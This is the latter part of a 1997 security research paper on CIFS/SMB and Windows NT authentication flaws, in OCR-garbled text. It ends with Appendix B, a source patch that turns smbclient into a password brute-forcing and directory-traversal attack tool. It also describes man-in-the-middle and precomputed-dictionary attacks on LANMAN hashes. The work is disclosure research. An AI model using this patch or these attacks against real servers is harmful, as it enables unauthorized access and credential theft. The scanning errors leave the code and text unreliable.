Sonme of this is certainly conjecture, but guesses made here are reasonably
educat ed.

Experi enced Uni x people are likely to already understand many of these issues,
and know the "been there, done that, fixed the code" feeling. It is sadly
evident that nmany people running all-Mcrosoft shops are way behind the curve
where overall network security is concerned, and still struggling with a | ot
of the basics. Sone sites don't know or care, as long as they can get their
el ectroni c ad agenci es connected and sell lots of that web-slumreal estate
with the spiffy pictures and no content. W hear of things |ike conplete
trust placed in obscurity nmeasures such as "inside" RAS dialups. Those who
are starting to play with firewalls often pull such classic stunts as
connecting one in parallel with a regular router and relying on default
routing entries on individual hosts to send traffic to the firewall first.

Bl ocking relevant IP traffic is often met with nanagerial resistance or
confusion. Standard |IP-level attacks work agai nst such sites because nopst of
them do not really understand TCP/IP, and do not have any useful network

noni toring gear available. Unix is just foreign and scary, particularly to

t hese so-call ed experts who are now popping out of the woodwork and m ndl essly
repeating that |aughable lie about NT's C2 rating. These sane people will
tell you how no-brainer bugs like ".." and w de-open registry perm ssions

are new and hot, but fall right over when asked about crypto algorithms or
wire-level packet structure. Try nentioning how NetBIOS is just a |oad of
CACA to such an expert, and expect a blank look in return

Uni x-savvy fol ks nowadays are used to having source for their operating
systens, especially where there are security concerns, or at |east are easily
able to inplenment replacenents and enhancenents to the weak vendor-supplied
stuff. Mcrosoft not only nakes this unavailable and difficult, it relies
heavily on internal obscurity and deliberate | ack of docunentation as part of
security architecture. Since Mcrosoft refuses to hel p even when asked, the
Sanba devel opers have had to go through many contortions and waste a | ot of
val uabl e tine reverse-engineering things just to support certain features. A
reader can *feel* the triunph in those occasional nessages to the Sanba |i st
when sonmeone wor ks out one of those "undocunented M crosoft" things and
submits a patch. Security is often an arns race, which Mcrosoft is sinply
escal ati ng and maki ng worse for everyone by producing yet nore flinmsy
obscurity. If it is not there already, NT source code will eventually hit
underground circul ation as ubiquitously as that of other "proprietary"
operating systens. W should expect that numerous exploits of the obscurity
wi || have even the security-concerned sites falling |ike dom noes.

As we review sone of its nore blatant failings, the fundanental design of CIFS
aut henti cation quickly beconmes ridiculous. The draft even describes severa
potentially serious security problens, but inexplicably makes no attenpt to
FIX them Part of the Internet-drafts process is to design and standardi ze
new protocols that nove the industry forward, not to mre it in outdated toy
protocols that place it at risk! There is no docunmented way for server-end
enf orcenent of secure authentication methods, and no way to provide for *both*
user-level and share-level nodes. At |least two easy M TM attacks nake the
chal | enge-response protocol fall, and it can also be dictionary attacked in
separat e pieceneal DES blocks. Different users with different privileges can



wi nd up sharing a single TCP connection, which violates one of the nore
traditional [albeit still insecure] ways of holding users apart. CIFS seens
to have no provision for fully encrypted sessions, despite the the fact that
client and server already share at |east one secret key and a few m nor
enhancenents to SMB coul d provide real session encryption. It is clear that
those behind CIFS are still nentally |locked into the single user per client
nodel , since the issues raised by nultiuser operating systems were evidently
never considered. It is alnost crimnal that other vendors are being forced
by market pressure to waste untol d devel opnent dollars supporting this ness.

Perhaps M crosoft is nonetheless starting to acknow edge that *something*
needs to be done to replace the existing nockery of an authentication system
Apparently there is support for Kerberos 5 authentication on the draw ng board
for NT, if not in alpha by now As far as | know M crosoft contri buted
nothing to the Krb5 devel opnent effort thenselves, so why Krb5? Ostensibly to
support DCE, but nore realistically because Mcrosoft can just swipe the MT
code now that it has been well-tested and officially released. It remains to
be seen whether this will be a full inplenentation, with perhaps an NT-based
KDC server?? | can’t wait to see how badly *that* gets nangled, especially
when handl i ng backward conpatibility. Naturally some of the first things to
ripinto will be random nunber generation and client storage of tickets. WII
we finally see sone server-end enforcenent of authentication types? WII
clients inplement preauthenticated TGT requests, or be able to perform nutua
aut hentication to exchange keys for encrypted sessions? Not l|ikely, since
CIFS seens to inply that Mcrosoft is banking on the eventual depl oynent of

| PSEC i nstead. Here again, they take the easy way out instead of actively
hel pi ng i npl ement secure protocols. It’s just as well, really, since if CAFS
is any exanple they would probably screwit up at the standards |evel and set
everyone el se back.

Default settings on even the |atest NT server is still |aughable, as are nost
of its responses under attack. Okay, so they turned off the NT4.0 GUEST
account by default after significant public hunmiliation, but why stop there?
Creating a new fileshare *still* lays it wi de open to the "Everyone" group,
unl ess several obscure nenu | ayers are waded through to reset the ACLs. This
still does not prevent the "Everyone" group from*deleting* arbitrary files
unl ess yet another service pack has been applied. There is little enforcenent
for good passwords. All security auditing is still disabled until the

adm nistrator turns it on and nakes an effort to prevent it fromfilling up
and becom ng useless -- and the logging still has little value in the WAN
environnent. Already there is talk of potentially egregi ous weaknesses in
various interactions |ike domain password changi ng and interdomai n trust

rel ationships. Mcrosoft apparently nmade the ".." mistake in ALL their OS

of ferings, fromWW5 up to the vaunted NT 3.51. It took a |lynch mob to
convince themto fix it, and it’'s *still* popping up here and there in other
add-on products. And we won’'t even tal k about some of those add-ons, which
al ready have been shown to fall over when lightly tickled, or allow full

read/ wite file access to conpletely unauthenticated users.

We can and shoul d honestly ask, what *are* they thinking out there in Rednond?
Besi des the usual conplaints about unstable bl oatware, we are starting to see
a steady stream of stupid, naive ten year old security problens, from weak
so-cal l ed encryption of .PW files on up. The answers usually consist of
denial and refusing to fix the flaws, and only under trenendous pressure

does anything get done. |Is this the sanme vendor we are supposed to trust

to produce an operating systemand network suite as "secure" as is clained

for NT, especially when it is held forth as a *replacenent* for Unix? Are

we to lay large amobunts of tithe at the feet of the Golden Gates for a

conpl ex behenoth that we are repeatedly reassured [read: lied to] is robust
under fire, but continues to fall for the sane old stupid reasons? The
Internet security comunity is now pushing two decades of finding those little



headache- produci ng bonus gifts that come with maj or vendor-supplied CSes. One
woul d surely think that a relative newconer in that arena would take the tine
to learn fromall those well-docunented ni stakes and nake sone effort to avoid
them but no, here we go 'round again. This stuff is *not* technically ready
for prime time in today's internet, but is being brutally pressed into service
for the sake of the bottomline. Commpbn sense screams "run away", and we can
easily anticipate another decade of nasty holes that will undoubtedly turn up
and be pronptly swept under the rug by hordes of marketroi ds whose jobs are
*not* particularly dependent on secure, robust conputing environnments.

No thank you, |'d rather not go *there* today.

It will be interesting to see if the trade press picks up on any of this.

| f past experience is any indicator they will sinply color the whole issue
yel  ow, denounce Sanba as a cracker tool while defending poor w ddl e abused
M crosoft, and as usual not hel p anyone address the real problens.

Concl usi ons

By now the reader nay be thinking twi ce before replacing all those Unix
servers with NT, and considering the significant risks in yielding to all that

marketing rah-rah. 1In general we now see, in what is hoped to be a clearer
way than previously, both how and why to check networks for these additiona
vul nerabilities. Unix may have its own problens, but overall it is stil

easier to secure and verify for correctness, and is largely free with al
sources included. There are many good people out there proactively finding
and fixing Unix problens on a daily basis. And as detailed in this docunent,
Unix still has plenty of fight in it to help kick the NT nonster in the ass.

The question remaining is, has this document helped at all, or is it just
anot her rework of old information? It began to take shape under the distinct
feeling that the research involved *nust* have been | ong since done already,
given today's ubiquity of SMB environnents, and that it woul d appear about as
tinely as discussion of Muirris wormholes. But as nobre sources were scanned,
many of the relevant points just didn't seemto be there or were buried as
vague hints or hearsay in unrel ated discussions. Again, the intent is to
sinmply present this information in a cohesive and useful way, warn agai nst
some clear and present risks, and plant seeds to foster future work.

Ref erences and acknow edgenents

This is an independent research effort of Avian Research, and is presented
to the Internet comunity in the hope that it will be educational and
useful. Nearly all the information utilized was obtai ned via groping
around on the internet, and is referenced largely in that context.

Early stages of the project were partially funded by Secure Networks, Inc. of
Cal gary, CA. They have recently released a greatly enhanced NetBI OS security
scanner that enbodi es nany of the concepts described here. Also Sanba-based,
it is now available via FTP at ftp.secnet.com/pub/tool s/ nat10.

Possi bly the nobst instructive docunent is the CIFS spec, which can be found at
wwv. i nternic.net:/internet-drafts/draft-heizer-cifs-vl-spec-00.txt. The spec
for NetBIOS over TCP is in RFCL001 and RFC1002, available at any RFC
repository. Another inmportant source is of course the Sanba suite, from

ni nbus. anu. edu. au: / pub/tri dge/ sanba and nunmerous mrror sites. The "ol d-
versions" subdirectory thereof should contain version 1.9.15p8 of the code.

M crosoft’s "know edge base" contains lots of fairly good, albeit rather



sanitized, information via FTP or the web. The NT articles are sunmari zed

in ftp.mcrosoft.com/bussys/w nnt/kb/index.txt, which is possibly the best
starting point. The Mcrosoft resource kits are another reference source that
coul d possibly have answered nore questions, but were unavailable at the tine
and therefore *not* consulted.

Many security practitioners are collecting information about problens in
M crosoft products. The "hack M crosoft" page at www. c2.org:/hacknmsoft/
is a good exanple, as is the information that Somarsoft makes avail able at
www. somar soft. com /security.htmand related itens. Details about problens
inthe IS web server and related things are up for grabs at www. oma. com

As NT specifically |l ooned |arger as a problemarea during data collection
many NT-specific references came to light. 1t has been VERY difficult to
avoi d diving down the thousands of potential ratholes involved with closer

i nvestigation of NT. An emnil exchange with Tom Shel don, initially concerning
a reference to Netcat he wanted to add to his book, got us talking. The
book is now out: "Wndows NT Security Handbook" [680 pages, 0-07-882240-8,
$34.99US]. Hel pful tidbits of information cane fromthis, along w th nmany
nore from Tomi s very informational site at www. ntresearch.com Severa
papers, articles, and checklists are available there. Another site that is
al so beginning to make several NT *tool s* [notably NTFSDOS] available is
www. ntinternals.com run by Mark Russinovich and Bryce Cogswel |

The archive of the NT-security nmailing list is overwhel mngly HUGE by now, and
lives at ftp.iss.net:/pub/lists/ntsecurity-digest.archive/. Nevertheless, the
bulk of it was pulled down and at |east searched for relevant itenms if not
read outright. 1SS also maintains some vulnerability databases and security
checklists. The mailing |ist appears to be useful, and frequently points to
ot her sources on NT security. Here are sone of them They do not all appear
to have titles or authors; sone are just random web pages that nay have nore

t han one nai nt ai ner.

An Overview of Wndows NT Security, by JimFrost, My 4, 1995
world.std.com/~jinf/nt-security.htm

A conprehensive collection of pointers to other NT security resources
is taking shape at ww. it.kth.se/~rom ntsec. htm.

Bill Stout posted a paper conparing NT vs. Unix network security, |ast seen
at www. hi dat a. com / guest/ whi t epapers/ NTsec.htm It may have noved since

Bruce Schnei er should of course be nentioned, whose "Applied Cryptography"
presents a very clear picture of using crypto properly. Laurent Joncheray
presented his interesting paper on the "desync" TCP attack at the 1995 Useni x
Security conference. Randomitens have been plucked out of various nailing
lists like NTSEC and Firewal | s al ong the way, specific references to which
were never saved. Those wonderful wackos who maintai n ww. LOpht. com have
been extrenely supportive of the ongoing research, and are also starting to
nmake sone interesting tools and exanpl es avail able. Doni ni que Brezinski at
cybersafe.comwas hel pful in some private nmail, and John Hood sent severa
last-mnute edits.

Thanks go out in general to those folks in the Internet security comunity
wi th that no-bullshit approach, who do not hold back with getting probl enms
out where everyone can hel p exam ne and solve themon a timely basis.

Appendi x A: Crypto

There are two algorithns used to cryptographically secure the authentication



data between a user and a server. The earlier LANVAN-conpatible algorithm
uppercases the password, truncates or pads to 14 characters as needed, and
derives therefroma pair of odd-parity DES keys to ECB-encrypt a fixed 8-byte
quantity described in CIFS as "available from M crosoft upon request" but

al ready well-known to be the decryption of OxAAD3B435B51404EE with a key of
all zeros. The second nmethod is currently supported by NT and Sanba, which
preserves the case of the password up to 128 bytes, converts it to unicode,
and runs the result through MX4. Each algorithmoutputs 16 bytes of
cryptographi ¢ hash that securely represents the user’s password. These 16
bytes are called "ON passwords" fromthe associated one-way function, and are
stored in registries and Sanba’'s alternate "snbpasswd" file. Snbencrypt.c

in conjunction with the "libdes" routines handl e nost of this.

For chal |l enge response, five nore nulls are appended to either hash type and
the 21 total bytes used as a key triple to DES encrypt the 8-byte chall enge
into three separate output blocks. The final 24-byte output of this process
is sent inthe SMB in place of the plaintext password. The password |length
normal ly sits at paranmeter word snb_vw7 as Sanba builds the block, and the
buf fer area farther al ong contains the response bytes. Under NT LM dial ect
there are two password fields -- one for the all-uppercase LANVAN-conpati bl e
password or hash thereof and one for the case-sensitive NT-style equival ent.
The lengths sit at snmb_vw7 and snb_vw8 respectively, and the correspondi ng
data buffers are consecutive. NT clients by default fill both buffers with
the two types of encrypted 24-byte responses. |If told to use plaintext
passwords, the NT client only sends a LANMAN password in snb_vw7 but in

*m xed* case

This is open to nore than one easy nman-in-the-mddl e attack. One is even
docunented in CIFS as the "downgrade attack", wherein a fake server response
tells a client to use observable cleartext passwords. Since the fake response
packet only needs one changed payl oad bit and different checksuns, this attack
i s undetectable since a |later real response is sinply discarded by the TCP
transport. A nore interesting attack involves taking the cryptkey from one
sessi on and network-spoofing it into a victinmis later one; the victims
resulting 24-byte response is used to authenticate the first session instead.
Here, CIFS makes the cryptographically naive error of letting the client user
"sign" the arbitrary data in the cryptkey instead of a hash that includes it.

The application user interfaces in general encourage the historically bad
practice for all users to choose the sane password across many different

machi nes, even across different NT domains. This is held forth as a single-
sign-on nmodel, but standard el enents of a real SSO system such as time-limted
session credentials never enter the picture at all. The inplenentation also
is in many ways too restrictive for nost real-world environments. How does
one go about the sounder practice of having separate accounts for separate
machi nes or groups thereof? Sone utilities will ask for another password

and try again if the cached login password isn't correct for a different
server, but this doesn’'t work everywhere. Exanple: The NT "net" utility
accepts a "/ USER ot hernane" sw tch when doing a "net use", but not when doing

a "net view'. Renote registry editing and related tools first try to use the
credentials fromthe console login, and if that doesn't work either ask for an
alternate password or sinply fail. Sonetinmes a way to specify a conpletely

alternate login is necessary, but NI's designers seens to have ignored this
and not even provided a global "net |ogon" facility |ike under WWAG Oten
one is forced to create new | ocal accounts and passwords, or use sone ot her
band- ai d wor karound, just to authenticate sone underdesi gned application to a
renote system

The OW hashes do not directly reveal a user’s plaintext password but if
somehow obt ai ned, can be directly used for authentication as well as input to
an offline dictionary attack. Directly storing themtherefore reduces the



security to about the level of burying plaintext passwords inside scripts and
thinking "well, the script is hidden, so the password is safe.”" M crosoft
tries to crock around this recogni zed decades-ol d problem by re-encrypting

t he hashes under sone *other* key that is often stored in some obscure but
nonet hel ess findable place. Authentication infornmation is also cached in
various places such as .PW files and registry entries, to support the
"automatic drive reconnect" stuff. NT apparently also stores infornmation
about the last ten dommin-level user logons in the registry, for use in cases
when the PDC is unreachabl e.

Since there is no salting in the OAF transform even the generic old Unix
crypt() algorithmis stronger than this scheme. An entire dictionary’s worth
of passwords and pernutations thereof can be *preconputed* and stored, which
reduces an OWNF dictionary attack to a big database | ookup. The bl ock-npde ECB
encryption schene further inplies that only the first 8 bytes of the OAF hash
really need to be saved; a successful 8-byte match not only brackets a greatly
reduced dictionary segnent, it directly reveals the first seven characters of
a LANMAN-styl e password. Related to this is that the chall enge-response
protocol also uses sinple ECB of a known plaintext with no chaining or

f eedback. Response keys derived fromthe OAF are invariant and can be
simlarly preconputed. The first stage of an attack on a recorded session
setup only requires the cryptkey and the first 8 bytes fromboth the
preconput ed response dictionary and the 24-byte response, and DES encryption
of a single block determ nes whether to bother with the remaining two. Again
cracking just the first block can index down to a much snmaller chunk of the
dictionary. Under NT LMdialect, NT clients usually send *bot h* response
types in the SetupAndX, which again defeats the whol e purpose of the NT style
password since cracking the plaintext of the reduced keyspace LANMAN password
can serve as a tenplate for cracking the user’s "real" NT password.

Normal ly the SAM registry section on an NT server is protected agai nst

readi ng. An adm nstrator can nonethel ess take ownership of the whol e SAM

hi ve, and dunp out various subkeys under Domai ns\ Account\ User s\ {hex-val ues}.
It is fairly clear fromdiffing ASCI|I hive dunps that the 32 bytes at the end
of the respective "V' binary blocks correspond to OAF password storage. W
can observe correspondi ng changes to at |east the same-length fields in the
Sanba "snbpasswd" file. The 32 bytes represent the LANMAN and NT OW hashes,
but on NT are re-encrypted under sonme ot her set of keys. Attenpts to find

t hese neta-keys by trying likely-1ooking DES-size bl ocks el sewhere around the
registry have thus far failed, but the answer may be di scoverable with a
little nore effort. Anyone who already knows the true nagic here is of course
encouraged to speak up, even if anonynously.

Inter-domain trust rel ationships are another NT-specific issue and were not
studi ed here, but surely need to be investigated nore closely. Various
docunent ation nentions that a "secure channel" is established between donain
controllers using the special DOMAIN$ accounts and a sone kind of "secret
object” which apparently is often derived froma hunman-chosen password. The
channel is apparently an RPC session, but is it truly encrypted, and if so,
how? Would this inply that some nechanismfor encrypted SMB does exist after
all, but for sone reason is not made available to the end users? What about
backup domai n-controller replication, which inplies that one machi ne can suck
down the entire SAM dat abase of another? How about an anal ysis of encryption
across PPTP VPNs? Soneone el se may be able to answer these questions too.

Appendi x B: The Patch Kit

This illustrates sone ninimal changes needed to turn snbclient into a
rudi mentary attack kit. It does not cover *every* possibility of protoco
weakness by any neans, but is enough to get going with sone fairly serious



host-l evel attacks. Briefly, the foll owi ng changes are effected:
Adds the interpret_error routine to help straighten out server errors
Corrects conversion of security node
Loops forever reading new trial passwords from standard input

No- ops out the dos_cl ean_nane() path cleanup routine, and all ows
changi ng to what appear to be "bad" directory paths.

Fi xes nnbl ookup to use local UDP port 137 and verbatimscope ID

Apply the patch using your favorite nmethod for doing so; extracting it to a
file and doing "patch < file" generally suffices. Configure the Makefile for
your platform and add -DATTACK to FLAGS1. |If you want all passwords
automatical ly uppercased, al so add - DUPPERCASE. This is optional, since

nm xed-case passwords are sonetines needed. Don’'t define PASSWD FLAGS, so the
client cannot use password encryption. Finally, do "make snbclient nnbl ookup"
to build the two prograns.

These changes are decidedly quick and dirty, but should illustrate howto
begin putting together a much nore sophisticated tool. Looking a little
farther forward i nmedi ately shows several inprovenments not inplenmented here:
The send login routine covers three inportant steps in one |linear shot and
should be split up into its logically separate SMB steps. Several nore
conmands can be added, to swap between arbitrary sharenanes, U Ds, TlIDs and
ot her possibly rel evant paraneters. Overall, the entire breakin scenario
can be hi ghly automated.

I-- chop --!
*** client.c Mon Jan 15 03:56: 44 1996
--- attack/client.c Thu Jan 30 23: 14:59 1997
kkhkkkhkkhkhkkhkkkkkk*x*%
* k * 801 81 * k k%
--- 80,152 ----
/* Avian Research deno "SMBAttack" patch kit. _H+/

#i fdef ATTACK
unsi gned int cur_err;

#def i ne dos_cl ean_nane donot hi ng
voi d donothing () { return; }

#def i ne get pass readpass
char * readpass (pronpt)
char * pronpt;
{
char pb [256];
char * pp = NULL;

DEBUG( 1, (pronpt));
pp = fgets (pb, 128, stdin);
if (feof (stdin)) exit (0);

if (pp) { _ _
pp [(strlen (pp) - 1)] ="'\0"; /* rip the newline */
#i f def UPPERCASE
st rupper (pp); /* maybe upcase it? XXX */
#endi f
strcpy (password, pp); /* and save it */

I T T T T T S S S e S S e .
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+

return (pp);
} /* readpass */

/****************************************************************************

The error returns fromvarious platforns are many and varied, but all of

them mean a couple of basic things. This boils relevant ones down roughly

to common server-class status, i.e.

success

access deni ed, or wong usernane/ passwd for session OR share

net wor k-1 D not found, for session

shar ename not found, TCon problem

anyt hing el se, probably fatal, including disabled accounts,
negoti ati on problens, etc

****************************************************************************/

static int interpret_error (rcls, err)

unsi gned char rcls;

PO UOINO

uintl1l6 err;
{
if ((rcls == 0) & (err == 0)) return (0); /* no error */
if (rcls == ERRSRV) {
if (err == 1) return (1); /* non-specific error */
if (err == 2) return (2); /* bad nanme or password */
if (err == 4) return (1); /* insufficient access for function */
if (err == 5) return (5); /[* invalid TID */
if (err == 6) return (6); /* invalid network name */
if (err == 7) return (6); /* invalid device */
if (err == 1311) return (1); /* no login servers available [?] */
if (err == 2239) return (1); /* account expired or disabled */
} I ERRSRV */
if (rcls == ERRDQOS)

(
f (err ==5) return (2); /* access denied */

f (err == 65) return (1); /* network access denied */

f (err == 67) return (6); networ k nane not found */

f (err == 71) return (1); no nore connections */

f (err == 86) return (2); net wor k password incorrect */
f (err == 87) return (1); par amet er incorrect */

f (err == 90) return (1); too many Ul Ds */

* % 3k X X %

~ Y~~~

[* XXX the rest of these n1ght be ERRSRVs too -- all return 1 anyways, so wf.
i f

(err == 2240) return (1); /* access denied fromthis W5 */
if (err == 2241) return (1), /* access denied at this tinme */
if (err == 2242) return (1); /* password expired */
if (err == 2247) return (1); /* security database corrupted */
if (err == 2455) return (1); /* invalid workgroup */

} /* ERRDOCS */

return (1); /* didn’t find any mappi ng */
} /* interpret_error */
#endi f /* ATTACK */

ER kR T

* % % 171’ 172 * k% %

+
+
+
+

- 242,247 ----
SSVAL (out buf, snb_f1 g2, 0x1);
#i fdef ATTACK
SCVAL ( out buf, snb_fl g, 0x18);
SSVAL (out buf, smb_fl g2, 0x2001) ;
#endi f /* ATTACK */

al ready-canoni cal filenanes */
execute perm==read perm[?] */

~ ~
* %

kkhkkkkhkhkkkkhkkkkkx*k

* k% 282,283 * k k%

- 357,364 ----

*/



#i fdef ATTACK
/* we don't care if it’'s a bad path or not */
if (report && CVAL(inbuf,snb_rcls) != 0)
DEBUE 2, (" [but continuing anyway]\n"));
return (True);
#endi f /* ATTACK */
return( CVAL(i nbuf,snmb_rcls) == 0);
kkhkkkkhhkkkhkkhkkkkhkk*%
* k% 447'450 * k k%
--- 528,533 ----
strcpy(dnane, cur_dir);
+ #i f ndef ATTACK
strcat(cur _dir,"\\");
dos_cl ean_nane(cur _dir);
+ #endi f /* ATTACK */

+ 4+ + + + +

ER kR T

* % % 834’ 837 * k k%
if (CVAL(inbuf,snb_rcls) !
return(Fal se);

0)

/* parse out the |engths */
--- 917,927 ----
if (CVAL(inbuf,snmb rcls) I'= 0)
i fdef ATTACK
* show us why */

~ 3

DEBUG (0, ("Trans failed: %\n", snb_errstr (inbuf)));
return (Fal se);

return(Fal se);
I #endif /* ATTACK */
/* parse out the |engths */

kkhkkkkhkhkkkkhkkkkhkk*

*** 3014, 3016 ****

! DEBUQE 3, (" Sec node %\ n", SVAL(i nbuf,snb_vw1)));
DEBUGE 3, ("max xnt %@\ n", max_xmt));
--- 3104, 3106 ----

! DEBUQE 3, (" Sec node %\ n", sec_node)); /* fixt.

DEBUG( 3, ("max xmt %\ n", max_xmnit));

kkhkkkkhhkkkhkkhkkkkhkk*%
*** 3020, 3021 ****
--- 3110, 3119 ----

doencrypt = ((sec_node & 2) != 0);
#i fdef ATTACK
/* don’t encrypt, period */

doencrypt = O;

use_setup = ((sec_node & 1) = 0);
/* always read a password anyways */
got _pass = 0;
#endi f /* ATTACK */

+ 4+ + A+ ++ o+

ER kR T

x%% 3103, 3104 ****
--- 3201,3211 ----

+ #ifdef ATTACK

/* don't screw with SessSetupX step unless we genuinely need it

H*/

*/



cur_err = interpret_error

CVAL (inbuf, snb rcls), SVAL (inbuf, snb _err));
if (cur_err == 2) {
DEBUG (2, ("session setup failed: %\n", snb_errstr (inbuf)));
got o get _pass;

}
#endi f /* ATTACK */

+ 4+ + + 4+

if (CVAL(inbuf,snb rcls) = 0)
kkhkkkhkkhkhkkhkkkkkk*x*k
**x 3129, 3130 ****
--- 3236,3241 ----

#i f def ATTACK
[* we're in */

DEBUF 0, ("sessi on established as %/ %\n", usernane, password));
#endi f /* ATTACK */

if (Protocol >= PROTOCOL_NT1) {

kkhkkkkhkhkkkkhkkkkhkkx*

*¥*% 3193, 3194 ****

+ + + +

--- 3304,3313 ----

+ #ifdef ATTACK

+ cur_err = interpret_error (

+ CVAL (inbuf, snb rcls), SVAL (inbuf, snb _err));
+ if (cur_err == 2) {

+ DEBUG (2, ("TCon failed: %\n", snb_errstr (inbuf)));

+ got o get _pass;

+

+ #endi f /* ATTACK */
/* trying again with a blank password */
kkkkkkhkhkhkhkkkkk*k*

*x*x 3217, 3219 *E*x*

I
max_xmt = M N(nmax_xm t, BUFFER_SI ZE- 4) ;
--- 3336,3341 ----

I #ifdef ATTACK
' /* we're in */
! DEBUG 0, ("tcon % connected as %/ %s\n", service, usernane, password));
I #endif /* ATTACK */
max_xmt = M N(max_xm t, BUFFER_SI ZE- 4) ;
kkhkkkkhhkkkhkkhkkkkhkk*%
*** 3863, 3865 ****
receive_snmb(dient, buffer,0);
|
#i fdef CLIX
--- 3985,3991 ----
receive_snmb(dient, buffer,0);
I #ifdef ATTACK
I /* don’t send chkpat h-keepalives on a nonexistent tcon */
! if (cnum == 0)
! conti nue;
I #endif /* ATTACK */
#i fdef CLIX
*kkhkkkkhhkkkhkhkhkkkhkkx*k
***x 4043, 4044 ****
--- 4169, 4177 ----
umask( myumask) ;
+ #ifdef ATTACK



+ /* oh, ¢’ non. */

+ pid = 2048;

+ uid = 0;

+ gid = 0;

+ md = 2048;

+ #endi f /* ATTACK */

*** nnbl ookup. ¢ Thu Jan 30 20: 52: 47 1997
--- attack/nnbl ookup.c Tue Jan 21 01:39:16 1997

khkkkkhkhkkkkhkkkkkkx*k

* k% 54 56 * k k%

--- 54,60 ----
+ #ifdef ATTACK
+ Server FD = open_socket _i n( SOCK_DGRAM 137, 3);

+

#el se
Server FD = open_socket i n( SOCK_DGRAM 0, 3);
#endi f /* ATTACK */

+

khkkkhkkhkhkkhkhkkhkk*k

* k% 142' 144 * k%%

--- 146,150 ----
strcpy(scope, optarg);

+ #i f ndef ATTACK
st rupper (scope);

+ #endi f /* ATTACK */
br eak;

I-- chop --!

Appendi x C. Overvi ew of an SMB packet

This is [roughly] the structure of an SMB packet as found inside the TCP

payl oad and Sanba's internal buffers. The leading length integer is not part
of the SMB proper, and does not al ways appear under other transport types.
For further details, see CIFS section 2.4.

of fset nane si ze contents / comments
0 [length int.] 4 TCP transport-layer data | ength
4 header start 4 OxFF, 'S, "M, 'B
8 SMB comand 1 cmd code
9 snb_rcls 2 error class; 0 = no error
11 snb_err 2 error code ; 0 = no error
13 snb_flg 1
14 snb_flg2 2
16 [filler] 12
28 TID 2
30 PI D 2
32 u D 2
34 M D 2
36 word count 1 nunber of follow ng paraneter words
37 snb_vwO0 2 OXO0FF [intel order] if no AndX cnd
39 snb_vwl 2 0x0000 if no batched AndX stuff
41 snmb_vw?2 2 C
... to avariable length’s worth ..
?? buffers * snb_buf () finds this offset

SMB ends at (TCP-len + 4)

_H* 970130



